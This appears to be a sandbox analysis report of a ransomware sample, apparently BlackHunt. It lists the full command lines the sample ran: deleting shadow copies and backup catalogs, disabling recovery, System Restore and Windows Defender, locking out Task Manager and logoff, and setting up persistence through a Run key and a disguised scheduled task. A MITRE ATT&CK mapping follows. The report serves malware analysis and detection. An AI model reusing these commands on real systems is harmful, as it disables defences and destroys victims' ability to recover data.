The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
"C:\Users\Admin\AppData\Local\Temp\9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:1244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2232
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3332
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1692
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1908
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4032
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4564
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3820
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe" /F
  2⤵
  PID:4648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3800

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:1676

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2884

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2976

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:4912

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:2948

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2316

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2412

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:1568

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3100

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:468

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1600

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3084

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe" /F
1⤵
- Creates scheduled task(s)
PID:4864

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:4736

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:3272

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2884

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:3252

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2564

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:636

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:4380

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2768

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:1244

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2268

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:3936

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:3456

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:1092

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:3644

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4168

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5816

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5272

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery